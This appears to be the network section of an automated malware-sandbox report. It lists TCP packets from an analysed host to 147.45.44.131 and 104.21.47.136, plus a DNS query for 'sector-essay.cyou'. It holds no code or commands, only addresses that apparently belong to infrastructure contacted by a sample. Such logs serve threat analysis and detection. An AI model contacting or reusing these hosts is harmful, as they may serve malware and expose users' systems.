Nov 24, 2024 08:35:36.169226885 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.169282913 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.172013044 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.172130108 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.172264099 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.175029039 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.175061941 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.175136089 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.178183079 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.178194046 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.178260088 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.181066990 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.181173086 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.181242943 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.183978081 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.184112072 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.184175968 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.186968088 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.187028885 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.187114000 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.189944983 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.190078020 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.190129995 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.192956924 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.193001986 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.193084955 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.195995092 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.196108103 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.196186066 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.198956013 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.199018002 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.199150085 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.202114105 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.202224016 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.202290058 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.204931974 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.204967022 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.205044031 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.207920074 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.208043098 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.208218098 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.210973978 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.211041927 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.211102962 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.213887930 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.213990927 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.214070082 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.216897964 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.216969013 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.217077971 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.219860077 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.219963074 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.220036983 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.222871065 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.223006010 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.223078966 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.225908041 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.225986958 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.226074934 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.228849888 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.228971004 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.229079008 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.231842041 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.231966019 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.232091904 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.234823942 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.234915018 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.235002041 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.278712034 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.278793097 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.278866053 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.279870987 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.280042887 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.280111074 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.282721043 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.282804966 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.282893896 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.284706116 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.284893036 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.285001993 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.287081957 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.287201881 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.287273884 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.289532900 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.289701939 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.289830923 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.291870117 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.292139053 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.292207003 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.293926001 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.294158936 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.294224977 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.296112061 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.296164989 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.296251059 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.298338890 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.298449039 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.298516035 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.300539017 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.300565004 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.300638914 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.302582026 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.302694082 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.302789927 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.304672003 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.304704905 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.304816961 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.306729078 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.306878090 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.306957960 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.308777094 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.308914900 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.308994055 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.310800076 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.310911894 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.310970068 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.312850952 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.312911987 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.312964916 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.315002918 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.315088034 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.315175056 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.316736937 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.316824913 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.316936970 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.318667889 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.318778992 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.318840981 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.320617914 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.320728064 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.320784092 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.322499990 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.371038914 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.941148043 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:37.335572004 CET	49705	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:37.335638046 CET	443	49705	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:37.335817099 CET	49705	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:37.337500095 CET	49705	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:37.337524891 CET	443	49705	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:38.621197939 CET	443	49705	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:38.621321917 CET	49705	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:38.624461889 CET	49705	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:38.624476910 CET	443	49705	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:38.624780893 CET	443	49705	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:38.667902946 CET	49705	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:38.726686954 CET	49705	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:38.726711988 CET	49705	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:38.726885080 CET	443	49705	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:39.319413900 CET	443	49705	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:39.319519997 CET	443	49705	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:39.319581985 CET	49705	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:39.321774006 CET	49705	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:39.321794987 CET	443	49705	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:39.321825027 CET	49705	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:39.321831942 CET	443	49705	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:39.478362083 CET	49706	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:39.478419065 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:39.478494883 CET	49706	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:39.479070902 CET	49706	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:39.479084969 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:40.735776901 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:40.735887051 CET	49706	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:40.737098932 CET	49706	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:40.737104893 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:40.737351894 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:40.738504887 CET	49706	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:40.738528013 CET	49706	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:40.738578081 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.446508884 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.446561098 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.446592093 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.446636915 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.446666956 CET	49706	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:41.446669102 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.446693897 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.446710110 CET	49706	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:41.446749926 CET	49706	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:41.446753979 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.453954935 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.454032898 CET	49706	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:41.454056025 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.462239981 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.462311983 CET	49706	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:41.462328911 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.511814117 CET	49706	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:41.511854887 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.558650017 CET	49706	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:41.646991968 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.650772095 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.650897980 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.651012897 CET	49706	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:41.651014090 CET	49706	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:41.651096106 CET	49706	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:41.651114941 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.651130915 CET	49706	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:41.651135921 CET	443	49706	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.679567099 CET	49707	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:41.679626942 CET	443	49707	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:41.679836988 CET	49707	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:41.680099010 CET	49707	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:41.680115938 CET	443	49707	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:42.937397957 CET	443	49707	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:42.937474966 CET	49707	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:42.941329956 CET	49707	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:42.941345930 CET	443	49707	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:42.941582918 CET	443	49707	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:42.943396091 CET	49707	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:42.943532944 CET	49707	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:42.943561077 CET	443	49707	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:43.712161064 CET	443	49707	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:43.712253094 CET	443	49707	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:43.712497950 CET	49707	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:43.712636948 CET	49707	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:43.712660074 CET	443	49707	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:43.734525919 CET	49708	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:43.734579086 CET	443	49708	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:43.734649897 CET	49708	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:43.734941959 CET	49708	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:43.734955072 CET	443	49708	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:44.950825930 CET	443	49708	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:44.950948000 CET	49708	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:44.952591896 CET	49708	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:44.952608109 CET	443	49708	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:44.952853918 CET	443	49708	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:44.954399109 CET	49708	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:44.954554081 CET	49708	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:44.954582930 CET	443	49708	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:44.954669952 CET	49708	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:44.954678059 CET	443	49708	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:45.699394941 CET	443	49708	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:45.699497938 CET	443	49708	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:45.699661970 CET	49708	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:45.699717045 CET	49708	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:45.699728012 CET	443	49708	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:45.788099051 CET	49709	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:45.788144112 CET	443	49709	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:45.788233042 CET	49709	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:45.788530111 CET	49709	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:45.788539886 CET	443	49709	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:47.056437016 CET	443	49709	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:47.056521893 CET	49709	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:47.057693958 CET	49709	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:47.057704926 CET	443	49709	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:47.057938099 CET	443	49709	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:47.060369968 CET	49709	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:47.060503006 CET	49709	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:47.060533047 CET	443	49709	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:47.060600042 CET	49709	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:47.060609102 CET	443	49709	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:47.950278044 CET	443	49709	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:47.950393915 CET	443	49709	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:47.950455904 CET	49709	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:47.950557947 CET	49709	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:47.950577021 CET	443	49709	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:48.063488960 CET	49710	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:48.063530922 CET	443	49710	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:48.063606024 CET	49710	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:48.063896894 CET	49710	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:48.063905954 CET	443	49710	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:49.322613955 CET	443	49710	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:49.322834015 CET	49710	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:49.324028015 CET	49710	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:49.324039936 CET	443	49710	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:49.324276924 CET	443	49710	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:49.325536013 CET	49710	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:49.325622082 CET	49710	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:49.325628042 CET	443	49710	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:50.066952944 CET	443	49710	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:50.067264080 CET	443	49710	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:50.067446947 CET	49710	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:50.084422112 CET	49710	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:50.084445000 CET	443	49710	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:50.695514917 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:50.695643902 CET	443	49711	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:50.695741892 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:50.696089983 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:50.696125984 CET	443	49711	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:51.956306934 CET	443	49711	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:51.956377029 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:51.957668066 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:51.957686901 CET	443	49711	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:51.958040953 CET	443	49711	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:51.959358931 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:51.960248947 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:51.960294008 CET	443	49711	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:51.960468054 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:51.960505962 CET	443	49711	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:51.960606098 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:51.960656881 CET	443	49711	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:51.960784912 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:51.960813999 CET	443	49711	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:51.961018085 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:51.961042881 CET	443	49711	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:51.961198092 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:51.961230040 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:51.961276054 CET	443	49711	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:51.961457968 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:51.961487055 CET	443	49711	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:51.961515903 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:51.961827040 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:51.961858034 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:52.007327080 CET	443	49711	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:52.007540941 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:52.007596970 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:52.007647038 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:52.055330992 CET	443	49711	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:52.055485964 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:52.099363089 CET	443	49711	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:52.321885109 CET	443	49711	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:54.302756071 CET	443	49711	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:54.302999020 CET	443	49711	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:54.303029060 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:54.303103924 CET	49711	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:54.307183981 CET	49722	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:54.307226896 CET	443	49722	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:54.307344913 CET	49722	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:54.307634115 CET	49722	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:54.307651043 CET	443	49722	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:55.573949099 CET	443	49722	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:55.574110985 CET	49722	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:55.575793028 CET	49722	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:55.575812101 CET	443	49722	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:55.576136112 CET	443	49722	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:55.580684900 CET	49722	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:55.580701113 CET	49722	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:55.580761909 CET	443	49722	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:56.299158096 CET	443	49722	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:56.299418926 CET	443	49722	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:56.299480915 CET	49722	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:56.299633980 CET	49722	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:56.299653053 CET	443	49722	104.21.47.136	192.168.2.5
Nov 24, 2024 08:35:56.299678087 CET	49722	443	192.168.2.5	104.21.47.136
Nov 24, 2024 08:35:56.299683094 CET	443	49722	104.21.47.136	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 08:35:36.997805119 CET	61746	53	192.168.2.5	1.1.1.1
Nov 24, 2024 08:35:37.328691006 CET	53	61746	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2024 08:35:36.997805119 CET	192.168.2.5	1.1.1.1	0x9fb4	Standard query (0)	sector-essay.cyou	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
